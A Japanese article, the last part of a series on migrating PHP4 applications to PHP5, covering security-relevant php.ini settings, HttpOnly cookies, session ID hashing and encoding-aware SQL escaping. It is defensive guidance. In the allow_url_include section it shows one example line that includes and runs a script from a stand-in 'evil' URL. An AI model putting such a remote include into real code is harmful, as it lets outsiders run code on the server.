残り一年! PHP4からPHP5への移行

第5回セキュリティ関連の違い

今回で最終回になります。php.ini設定関連の注意事項、セキュリティに関係したPHP5の新機能などを解説します。

特に記述がない場合、PHP4はPHP4.4.x、PHP5はPHP5.2.xを意味します。

php.ini設定によるオブジェクトの動作仕様の変更

zend.ze1_compatibility_mode

この設定はPHP5のオブジェクトのふるまいに影響します。デフォルトは無効(off)に設定されています。この設定を有効(on)に設定すると、オブジェクトのクローニング、比較動作、キャスティングがPHP4と同様になります。

例:ze1_compatibility_mode設定のコピー動作

<?php
class foo {}
$obj1 = new foo;
$obj2 = $obj1;

if ($obj1 == $obj2) {
   echo 'case1: $obj1 == $obj2';
}

$obj1->var = true;

if ($obj1 == $obj2) {
   echo 'case2: $obj1 == $obj2';
}
?>

このコードをze_compatibility_modeが有効なPHP5で実行した場合、2つ目のecho文は実行されずPHP4と同じくオブジェクト変数をコピーする動作になります。

オブジェクトの動作に関連する部分は修正が必要な個所を見つけ出すことが難しい場合もあるので、PHP5のオブジェクトをPHP4オブジェクトのように動作するよう設定できます。

とはいえ、zend.ze1_compatibility_modeを有効にしてもempty関数の動作には影響は与えません。PHP5ではプロパティを持たないオブジェクトでもオブジェクト変数であるかぎりTRUEと評価されます。$this変数に代入ができない制限もこの設定によって変更されません。これらのコードは修正しないとなりません。

移行時に注意が必要なphp.ini設定

移行する場合にphp.ini設定をPHP5のデフォルト設定から変更しなければならないケースも考えられます。特に重要なphp.ini設定で問題となる可能性がある設定について解説します。

php.iniファイルの移行

php.ini設定ファイルは古いシステムのphp.iniファイルを移行するのではなく、PHP5に付属するphp.ini-recommendedをベースに古い設定が必要な項目を変更する手順をお勧めします。後述しますが古いphp.ini設定を利用した場合、アプリケーションが安全に運用できないケースも発生します。

memory_limit設定

PHP5のmemory_limitのデフォルト値はPHP4の8MBから128MBに大幅に増加されています。アプリケーションによってはDoS攻撃に脆弱になってしまう可能性も考えられます。memory_limit設定はスクリプト中からも変更できる設定なので、必要なメモリ量までに制限するほうが安全です。

ユーザ入力のデータサイズはpost_max_size設定により制限され、デフォルトは8MBです。このため、ユーザ入力の最大値は8MBになります。ファイルアップロードはupload_max_filesize設定により制限され、デフォルトは2MBです。つまり、デフォルト設定ではファイルアップロードやPOSTメソッドにより、簡単に多くのメモリを消費させるDoS攻撃は行いづらくなっています。

memory_limit設定をhttpd.confや.htaccessファイルで設定を変更する場合、スクリプト中からも変更できるようphp_admin_valueでなくphp_valueを利用するとよいでしょう。

例:memory_limitを32MBに設定
php_value memory_limit "32MB"

default_chaset設定

HTTPヘッダで利用する文字エンコーディングを指定しないとクロスサイトスクリプティング(JavaScriptインジェクション)に対して脆弱になる場合があります。しかし、互換性の観点からと思われますが、php.ini-dist、php.ini-recommendedのdefault_charset設定は空白になっています。

すべてのWebアプリケーションは利用する文字エンコーディングを指定すべきです。本来はアプリケーションのコードで文字エンコーディングを指定すべきですが、古いアプリケーションの多くは文字エンコーディングを指定していないと考えられます。PHP5への移行の追加作業としてdefault_charsetを設定することをお勧めします。

例:httpd.confまたは.htaccessファイルでUTF-8に設定
php_value default_charset "UTF-8"
例:httpd.confまたは.htaccessファイルでEUC-JPに設定
php_value default_charset "EUC-JP"
例:httpd.confまたは.htaccessファイルでShift_JISに設定
php_value default_charset "Shift_JIS"

register_globals設定

register_globals=offでアプリケーションが動作する場合はregister_globals=onに設定するべきではありません。register_globals=offを前提としているアプリケーションにはregister_globals=onに設定するとファイルインクルード攻撃に脆弱になる場合や認証をバイバス可能となる脆弱性などが発生する場合があります。

register_globals=on設定が必要な場合、必要なアプリケーションのみregister_globals=onとなるように設定します。Apacheの場合、仮想ホスト単位(httpd.confなど⁠⁠、ディレクトリ単位(.htaccessなど)でregister_globals=on設定を変更できます。

設定例

php_admin_flag register_globals on

繰り返しますが、不用意にregister_global=onに設定するとセキュリティ上の問題が発生します。後述しますがPHP5から導入されたallow_url_include設定が無効な場合でも、ローカルファイルの実行、認証の回避などの様々なセキュリティ問題が発生する可能性があります。

allow_url_include

PHP5からphp.ini設定にallow_url_include設定が追加されました。この設定はセキュリティ上非常に重要な意味があります。多くのPHPアプリケーションに「リモートスクリプト実行脆弱性」が報告されています。このリモートスクリプト実行脆弱性はPHP特有の脆弱性でした。

include('http://example.jp/evil_script.php');

PHPは上記のようにURLを記載してリモートサーバに保存されたファイルをローカルファイルのように取り扱う機能がありました。スクリプトの読み込みを行うファイル名部分にユーザ入力を含む変数を利用していた場合、WebやFTPサーバに保存されたファイルを実行させることができるセキュリティ上重大な問題でした。

以前からあるallow_url_fopenでもリモートサーバからのファイル読み取りをOn/Offに設定可能です。しかし、この設定をOffにするとinclude/require文のみでなく、fopen, file_get_contentsなどのファイル関数もURL形式のファイルにアクセスできなくなります。この設定はINI_SYSTEMレベルで変更可能な設定に改悪されたため、一度設定を行うと変更できない設定になっていました。これらの理由からセキュリティ上はallow_url_fopenはOffに設定するほうが安全ですが、デフォルトはOnに設定されていました。

この脆弱性をなくすためにallow_url_includeディレクティブが導入されました。実装当初は不許可とすべきURL形式のリソースにアクセスできた等、問題も多くありましたが、現在のPHP5は

allow_url_include = off

がデフォルト設定となり、リモートスクリプトは実行できなくなりました。この設定により安全性は向上しますが、ほかのスクリプト系言語と同様にローカルスクリプトの実行は可能です。incliude/require文にユーザ入力を含む変数を利用する場合、細心の注意が必要であることには変わりありません。

session.cookie_httponly

PHP5のセッションモジュールのphp.ini設定から、Microsoft社独自のブラウザ拡張であるHttpOnlyクッキーを利用したセッションIDが利用できるようになりました。すべてのブラウザがHttpOnly属性を持つクッキーをサポートしてはいませんが、万が一WebアプリケーションにXSS脆弱性があった場合の影響を小さくすることができます。

Firefox 2.0.0.5からデフォルトでHttpOnlyがサポートされるようになりました。現在サポートされているInternet ExplorerもHttpOnlyクッキーに対応しています。JavaScriptでセッションIDクッキーを利用していないWebアプリケーションであれば、今までより安全に利用可能です。

注意:HttpOnlyクッキーは完全にはJavaScriptからセッションIDクッキーへのアクセスを防御できません。当然ですがHttpOnlyクッキーでは不正なJavaScript挿入によるページの書き換えも防げません。HttpOnlyクッキーを利用しても従来通りのクロスサイトスクリプティング、JavaScriptインジェクション対策は欠かせません。

この機能は互換性維持のためデフォルトでOffに設定されています。AJAXライブラリなどのセキュリティ対策にセッションIDを利用している場合、スクリプトからセッションIDクッキーにアクセスできずにアプリケーションが誤作動することを防ぐためです。

session.cookie_httponly = 1

に設定することによりセッションIDクッキーには自動的にHttpOnly属性が付加されます。

session.use_cookies

この設定はPHP5のデフォルト設定では有効になっています。つまりセッション管理はクッキーのみを用いて行われます。URLとフォームにセッションIDを埋め込むsession.use_trans_sid機能はセッションIDが漏洩する可能性が高いため、デフォルトでは無効に設定されています。

通常のPC向けWebサイトはデフォルト設定で困ることはほとんどないはずです。非オフィシャルな携帯サイトではsession.use_trans_sid=1に設定されたPHPでないと動作しないアプリケーションもあると思います。session.use_trans_sid=1設定は非常に危険なので不要に設定してはいけません。

session.hash_function

セッションIDを生成するハッシュ関数を選択できるようになりました。PHP4はMD5(128bit)のみでしたが、PHP5からSHA1(160bit)も選択できるようになりました。0でMD5、1でSHA1が利用されます。SHA1を利用することによりさらにコリージョン(セッションIDの衝突)の可能性を低下させることができます。SHA1に変更して問題がないアプリであればSHA1を利用するほうがよいでしょう。

session.hash_function = 1

session.entropy_fileとsession.entropy_length

UNIX系OSで/dev/urandomをサポートしているシステムでは、このデバイスを利用することによりセッションIDのランダム性を向上させることができます。

例:セッションIDのランダム性を向上させる設定
session.entropy_file=/dev/urandom
session.entropy_length=32

setcookie/setrawcookie

PHP5のセッションモジュールは、php.ini設定のsession.cookie_httponlyによりHttpOnly属性を付加したセッションIDクッキーを送信できるようになりました。任意のクッキーを設定する関数setcookie/setrawcookieにもこのオプションが追加されています。JavaScriptからアクセスする必要がない重要なクッキー、例えば自動ログインのキーとなるクッキーなどは、HttpOnly属性を付けるとクロスサイトスクリプティングのリスクを低減できます。

bool setcookie ( string $name [, string $value [, int $expire [, string $path [, string $domain [, bool $secure [, bool $httponly]]]]]] )
bool setrawcookie ( string $name [, string $value [, int $expire [, string $path [, string $domain [, bool $secure [, bool $httponly]]]]]] )

setrawcookieはPHP5から追加された関数です。クッキーの値が自動的にURLエンコードされないことを除けばsetcookieと同じ動作をします。

pg_escape_stringとmysql_real_escape_string

PHP5のデータベースの文字列エスケープ関数には、日本語ユーザにとって重要な変更が追加されています。新しいPHP5のデータベース用の文字列エスケープ関数は、接続パラメータが追加されています。これはデータベースサーバへの接続にどの文字エンコーディングが利用されているか考慮せずに文字列をエスケープすると、データベースサーバ側ではSQLインジェクションであるか判定できないクエリが送信されるためで、データベースサーバ接続パラメータがオプションパラメータとして指定できるようになりました。

string pg_escape_string ( [resource $connection, string $data] )
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier] )

pg_escape_stringとmysql_real_escape_stringではパラメータの並びが異なりますが、使い方は同じです。$connection, $link_idetifierにそれぞれpg_connect関数、mysql_connect関数で取得したデータベース接続リソースの変数を渡します。PHPマニュアルの記述では分かりづらいですが、pg_escape_string関数も従来通り文字列のみを引数として渡しても従来と同様に動作します。

これらの文字列エスケープ関数は接続引数が省略されるとデフォルト接続の文字エンコーディングを利用してエスケープ処理を行います。つまりWebシステムを独自に運用し、すべてのデータベースの文字エンコーディングが統一されている場合、文字列エスケープ関数に接続パラメータを追加指定しなくても正しくエスケープ処理が行われます。共有サーバを利用している場合やデータベースで複数の文字エンコーディングを利用している場合は接続パラメータを省略すべきではありません。

これらの2つの関数が期待通りに動作するためには、PostgreSQL、MySQL共にそれぞれ、

int pg_set_client_encoding ( resource $connection, string $encoding )
bool mysql_set_charset ( string $charset [, resource $link_identifier] )

を利用しなければなりません。詳しい解説は省略しますが、SQL文を発行して文字エンコーディングを変更してしまうとSQLインジェクションに脆弱になる場合があります。PostgreSQLモジュールにはPHP4.2.0からpg_set_client_encoding関数が実装されていたので、PHP4用のコードでもデータベースの文字エンコーディング設定を変更・設定する場合はpg_set_client_encoding関数が利用されていると思います。

MySQLのmysql_set_charset関数はPHP5.2.0から追加された関数であるため、ほとんどのコードはこの関数の代わりに⁠SET NAMES⁠を利用していると思います。SET NAMESでデータベースの文字エンコーディングを設定しているからといってすべての構成でSQLインジェクション脆弱性が発生したりはしませんが、SET NAMESを使用した文字エンコーディング指定はセキュリティ上行ってはならない操作です。MySQLアプリケーションを移行する場合、SET NAMESで文字エンコーディングを指定している箇所はすべてmysql_set_charset関数を利用するように書き換えるほうがよいです[1]⁠。

PHP4のMySQLユーザはどうすべきか?

PHP4にはクライアントAPIを利用した文字エンコーディング設定関数が用意されていません。SET NAMESでデータベース接続の文字エンコーディング設定を行わなくてもよいようデフォルトの文字エンコーディングを設定する回避策があります。

まとめ

現時点ではPHP4は通常メンテナンス(セキュリティフィックスおよびバグフィックスも含む修正あり)状態ですが、PHP5と比べて十分にメンテナンスされているとはいえません。この連載でもPHP4の参照カウンタが簡単にオーバーフローしてしまう不具合を紹介しました。この問題を利用した攻撃方法も知られていますが修正されていません。

とにかくPHP4のメンテナンス終了は2007年12月31日、セキュリティフィックスの提供終了は2008年8月8日です。PHP5への移行の猶予期間は1年を切りました。時間はあまり残されていません。

参考文献
英語版PHPマニュアル - 最新情報の入手には英語版が適しています。
URLhttp://jp.php.net/manual/en/
PHP4からPHP5への移行
URLhttp://jp.php.net/manual/en/migration5.php
PHP5.0からPHP5.1への移行 - PHP4ユーザにも有用な情報が掲載されています
URLhttp://jp.php.net/manual/en/migration5.php
PHP5.1からPHP5.2への移行 - PHP4ユーザにも有用な情報が掲載されています
URLhttp://jp.php.net/manual/en/migration52.php
PHP5の変更履歴
URLhttp://jp.php.net/ChangeLog-5.php
PHP4の変更履歴
URLhttp://jp.php.net/ChangeLog-4.php

おすすめ記事

記事・ニュース一覧